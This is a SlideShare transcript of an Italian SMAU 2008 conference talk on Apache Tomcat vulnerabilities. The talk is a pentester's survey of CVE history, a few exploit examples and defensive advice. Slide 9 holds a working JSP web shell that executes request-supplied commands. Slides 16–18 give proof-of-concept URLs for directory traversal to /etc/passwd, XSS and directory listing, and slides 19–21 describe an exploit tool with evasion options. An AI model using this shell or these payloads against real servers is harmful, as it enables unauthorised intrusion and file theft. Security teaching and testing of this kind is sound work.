Your SlideShare is downloading. ×
0
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

1,594

Published on

Apache Tomcat è probabilmente una delle più note implementazioni delle tecnologie Java Servlet e Java Server Pages. Sebbene l’Apache Software Foundation considera la sicurezza dei suoi prodotti come …

Apache Tomcat è probabilmente una delle più note implementazioni delle tecnologie Java Servlet e Java Server Pages. Sebbene l’Apache Software Foundation considera la sicurezza dei suoi prodotti come un requisito di primaria importanza, nel corso degli ultimi anni sono state scoperte numerose vulnerabilità. Queste debolezze permettono attacchi di cross site scripting, directory listing, directory traversal, escalation dei privilegi sino all’esecuzione di codice arbitrario. Analizzando il passato, cercheremo di identificare il futuro di questo application server in termini di sicurezza.

http://www.ikkisoft.com

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
1,594
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
15
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Vulnerabilità in Apache Tomcat L’evoluzione della specie …il mondo della sicurezza è una giungla! SMAU 2008
  • 2. Di cosa parliamo oggi... • Quali sono le principali vulnerabilità scoperte in Apache Tomcat • Come sfruttare queste debolezze, dal punto di vista dell'aggressore • Quali vulnerabilità ci dobbiamo aspettare nel futuro prossimo • Attualmente lavoro come pentester in una grande banca internazionale • Ricerco vulnerabilità for fun (and profit) • Mi interesso di web application security ed ethical hacking • Sono membro della comunita’ OWASP btw: partecipate al capitolo Italiano :) • luca.carettoni[at]ikkisoft[dot]com
  • 3. Security in depth Application Security Web Server Security Database Security Operating System Security Network Security Physical Security
  • 4. Apache Tomcat • Apache Tomcat è un moderno Servlet container sviluppato dall'Apache Software Foundation • http://tomcat.apache.org/ • Pure 100% Java Application Server • Open Source, facile da installare, abbastanza performante...quindi, praticamente perfetto ? Non proprio • Implementa diverse versioni delle tecnologie Java Servlet e Java Server Pages (JSP) Servlet/JSP Specification Apache Tomcat version 2.5/2.1 6.0.18 2.4/2.0 5.5.26 2.3/1.2 4.1.37 2.2/1.1 3.3.2 (deprecata)
  • 5. Powered by Apache Tomcat • E' stato scaricato più di 10 milioni di volte. Ipotizziamo che solamente l'1% di questi download ha portato all'utilizzo in produzione, il risultato è assolutamente sconvolgente • Parliamo di più di 100000 installazioni • Largamente utilizzato da numerose organizzazioni e società: WalMart, O'Reilly On Java, JBOSS ed il portale Italiano VolareGratis.com • Si stima che circa la metà della global Fortune 500 utilizzi in una qualche installazione Tomcat e derivati • Date un occhio alla popolarità del sito: http://people.apache.org/~vgritsenko/stats/project s/tomcat.html
  • 6. Tomcat in the wild... • Google dork: 12,600 for intitle:quot;Directory Listing For /quot; + inurl:tomcat-docs tomcat
  • 7. Tactical Exploiting 1/3 • Spesso l'aggressore non deve nemmeno sfruttare vulnerabilità • Sono gli amministratori che lasciano accessibile una risorsa preziosa • Default Manager Console http://x.x.x.x:8080/manager/html • LambdaProbe Console http://x.x.x.x:9099/probe/ • Spesso esposta • Spesso protetta da password non robuste • Per la mia esperienza, troppo spesso !
  • 8. Tactical Exploiting 2/3
  • 9. Tactical Exploiting 3/3 • Oltre ad ottenere informazioni sulla configurazione e sullo stato dei sistemi, un aggressore può alterare le configurazioni e compromettere l'ambiente di fruizione ! • Vediamo, in breve, come: <%@ page import=quot;java.io.*quot; %><%try { Runtime rt = Runtime.getRuntime(); String cmd = request.getParameter(quot;cmdquot;); Process ps = rt.exec(cmd); BufferedReader outReader = new BufferedReader(new InputStreamReader( ps.getInputStream())); BufferedReader errReader = new BufferedReader(new InputStreamReader( ps.getErrorStream())); String outLine = null; String errLine = null; out.println(quot;<pre>quot;); while ((outLine = outReader.readLine()) != null || (errLine = errReader.readLine()) != null) { if (outLine != null) out.println(quot;out: quot; + outLine); if (errLine != null) out.println(quot;err: quot; + errLine); } out.println(quot;</pre>quot;); outReader.close(); errReader.close(); } catch (Exception ex) { out.println(quot;Exception message. Some problem?!?quot;); ex.printStackTrace(); }%>
  • 10. Apache Tomcat - Cronologia • La code base iniziale e' stata donata da Sun all' Apache Software Foundation nel 1999 • La prima versione ufficiale è stata la v3.0 4.1.31 4.1.36 4.x 5.0.0 5.0.28 5.0.30 5.0.x 5.5.12 5.5.17 5.5.0 5.5.4 5.5.9 5.5.16 5.5.23 5.5.1 5.5.7 5.5.15 5.5.20 5.5.25 5.5.26 5.5.x 6.0.14 6.0.13 6.0.18 6.0.0 6.0.10 6.0.16 6.x 2002 2003 2004 2005 2006 2007 2008 La versione attuale è la 6.0.18 (ad oggi, 18/10/08) Fonte: en.wikipedia.org
  • 11. Vulnerabilità in Tomcat 1/2 • #81 Vulnerabilità segnalate • #44 CVE (vulnerabilità univoche) • Vulnerabilità per versione: Apache Tomcat JK Connectors: #3 CVE Apache Tomcat 4.x: #35 CVE Apache Tomcat 5.x: #24 CVE Apache Tomcat 6.x: #19 CVE Source: http://tomcat.apache.org/security.html (11 September 2008)
  • 12. Vulnerabilità in Tomcat 2/2  CVE-2001-0917  CVE-2006-7195  CVE-2008-0002  CVE-2002-0493  CVE-2006-7196  CVE-2008-0128  CVE-2002-0682  CVE-2006-7197  CVE-2008-1232  CVE-2002-0935  CVE-2007-0450  CVE-2008-1947  CVE-2002-1148  CVE-2007-0774  CVE-2008-2370  CVE-2002-1394  CVE-2007-1355  CVE-2008-2938  CVE-2002-1567  CVE-2007-1358  CVE-2002-1895  CVE-2007-1858  CVE-2002-2006  CVE-2007-1860  CVE-2002-2008  CVE-2007-2449  CVE-2002-2009  CVE-2007-2450  CVE-2003-0866  CVE-2007-3382  CVE-2005-2090  CVE-2007-3383  CVE-2005-3164  CVE-2007-3385  CVE-2005-3510  CVE-2007-3386  CVE-2005-4703  CVE-2007-5333  CVE-2005-4836  CVE-2007-5342  CVE-2005-4838  CVE-2007-5461  CVE-2006-3835  CVE-2007-6286 Source: http://tomcat.apache.org/security.html (11 September 2008)
  • 13. Vulnerabilità per anno 18 16 14 12 10 CVEs 8 6 4 2 0 2001 2002 2003 2005 2006 2007 2008
  • 14. Vulnerabilità per severità Low High Medium • Low: Info Disclosure, Denial of Service • Medium: Sensitive Info Disclosure, Cross Site Scripting, Session Hijacking • High: Directory Traversal, Lettura/Scrittura File Arbitrari, Esecuzione di Codice Arbitrario
  • 15. Qualche esempio…
  • 16. CVE-2008-2938 • Directory Traversal Vulnerability • Author: Simon Ryeo • Severity: High • Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x • Exploit Proof-of-concept: http://www.example.com/%c0%ae%c0%ae/%c0%ae %c0%ae/%c0%ae%c0%ae/etc/passwd • Note: context.xml oppure server.xml deve permettere allowLinking e URIencoding come “UTF- 8”. UTF-8 Encoding 2 bytes, 11bits, 110bbbbb 10bbbbbb %c0%ae = “.” %c0%af = “/”
  • 17. CVE-2007-2449 • Multiple Cross Site Scripting (XSS) • Author: Unknown (reported to JPCERT) • Severity: Medium • Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5- 5.5.24, 4.0-4.0.6, 4.1-4.1.36 • Exploit Proof-of-concept: http://www.example.com/jsp- examples/snp/snoop.jsp;[xss] • Note: Nessun tipo di validazione. Il classico vettore di attacco <script>alert(123);</script> viene correttamente inoltrato
  • 18. CVE-2006-3835 • Directory Listing Vulnerability • Author: ScanAlert.s Enterprise Services Team • Severity: Medium • Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0- 4.0.6, 4.1-4.1.31 • Exploit Proof-of-concept: http://www.example.com/;index.jsp http://www.example.com/help/;help.do • Note: Vulnerabile invocando qualsiasi risorsa (estensione) valida, anche se non esistente, preceduta da un punto e virgola
  • 19. Tomcat ZOO The «all-in-one» exploit • Pentesting tool, specifico per verificare vulnerabilità note di Apache Tomcat • Sviluppato in PHP (richiede solo –enable-cli) • Rilasciato GPL v2 • Attualmente copre il 27% dei CVE per Tomcat: * CVE-2008-2938 * CVE-2006-3835 * CVE-2007-3385 * CVE-2008-2370 * CVE-2006-7196 * CVE-2007-3386 * CVE-2008-1947 * CVE-2007-2449 * CVE-2007-5333 * CVE-2008-1232 * CVE-2007-3382 * CVE-2007-5461 ---------------[ Script Options (basic) ]------------------ Usage:php TomcatZOO.php host port proxy host: target server port: the web port, usually 8080 proxy: use a proxy defined as IP:PORT:USER:PASS (optional) Example: php TomcatZOO.php www.example.com 8080 php TomcatZOO.php www.example.com 80 127.0.0.1:1234:: php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass
  • 20. Tomcat ZOO The «all-in-one» exploit Caratteristiche avanzate:  Supporto HTTP (senza l'uso di libcurl)  Supporto Proxy  Opzione di debug  Personalizzazione User-Agent  Primitive tecniche di evasione 1: fake HTTP GET/POST parameters 2: random case sensitivity 3: Windows directory separator instead of / 4: URL encoding applied to URI, HTTP pars and header ToDo:  Supporto HTTPS (per ora utilizzate l'ottimo www.stunnel.org. Thx Michal!)  Coprire la globalità delle vulnerabilità di Tomcat analizzabili durante black box testing
  • 21. Tomcat ZOO The «all-in-one» exploit • Disponibile prossimamente (entro fine anno) • Lo troverete qui: http://www.ikkisoft.com/tomcatzoo/ • E' un tool per ethical hacking !
  • 22. E nel futuro... • Ancora problematiche di validazione dell'input, sebbene il codice si sta stabilizzando • Sicuramente ancora Denial of Service, considerando la numerosità e la complessità dei componenti • Sicuramente ancora Cross-Site Scripting • (Tendenzialmente) nessun buffer overflow. I componenti non sviluppati in Java sono limitati • Come difenderci quindi? • Reattività: mantenersi aggiornati e preparare già ora un ambiente di test dove provare le future release, prima della messa in produzione. Estote Parati ! • Online patching: Application firewall e simili, pronti per essere configurati ad-hoc appena viene rilasciata una nuova vulnerabilità
  • 23. Contatti, Domande • Grazie dell'attenzione! Domande ?!? Luca Carettoni luca.carettoni[at]ikkisoft[dot]com http://www.ikkisoft.com

×